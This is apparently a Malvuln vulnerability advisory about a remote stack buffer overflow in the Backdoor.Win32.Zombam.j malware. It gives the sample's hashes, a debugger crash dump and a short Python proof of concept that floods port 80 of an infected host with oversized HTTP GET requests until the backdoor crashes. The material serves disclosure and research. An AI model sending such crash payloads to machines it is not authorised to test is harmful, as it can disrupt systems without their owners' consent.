Backdoor.Win32.Zombam.j malware suffers from a remote stack buffer overflow vulnerability.
182a0fbbaac8073813086e67cf27b8adDiscovery / credits: malvuln - Malvuln.com (c) 2021
Original source: http://malvuln.com/advisory/a4212f23e1cc3bb34b0dfe15b2ad323e.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Zombam.j
Vulnerability: Remote Stack Buffer Overflow
Description: Listens on TCP port 80, sending consecutive HTTP requests with incrementing payload results in stack buffer overflow of the backdoor malware.
Type: PE32
MD5: a4212f23e1cc3bb34b0dfe15b2ad323e
Vuln ID: MVID-2021-0006
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 01/02/2021
Memory Dump:
EAX : 055DF9F0
EBX : 040402A0 "X\v"
ECX : 055DFA20
EDX : 41414141
EBP : 055DFA28
ESP : 055DF9D8
ESI : 040402A0 "X\v"
EDI : 00404E86 backdoor.win32.zombam.j.00404E86
EIP : 0040292E backdoor.win32.zombam.j.0040292E
dword ptr [edx+4]=[41414145]=???
(168c.20d0): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=050cfa20 edx=41414141 esi=00000003 edi=00000003
eip=773ced3c esp=050cf0bc ebp=050cf24c iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
ntdll!ZwWaitForMultipleObjects+0xc:
773ced3c c21400 ret 14h
0:004> .ecxr
eax=050cf9f0 ebx=040702d0 ecx=050cfa20 edx=41414141 esi=040702d0 edi=00404e86
eip=0040292e esp=050cf9d8 ebp=050cfa28 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
*** WARNING: Unable to verify checksum for Backdoor.Win32.Zombam.j.exe
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Zombam.j.exe
Backdoor_Win32_Zombam_j__+0x292e:
0040292e 8b4204 mov eax,dword ptr [edx+4] ds:002b:41414145=????????
Exploit/PoC:
from socket import *
MALWARE_INFECTED_HOST="x.x.x.x"
sz = 76660
c=1
def doit():
while True:
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_INFECTED_HOST, 80))
sz += 2600
JUNK="A"*sz
PAYLOAD="GET /"+JUNK+" HTTP/1.0\r\nHost: "+MALWARE_INFECTED_HOST+"\r\n\r\n"
s.send(PAYLOAD)
s.close()
c+=1
if c==3:
exit()
print("Backdoor.Win32.Zombam.j / Remote Stack Buffer Overflow")
print("MD5: a4212f23e1cc3bb34b0dfe15b2ad323e")
print("By malvuln")
if __name__=="__main__":
doit()
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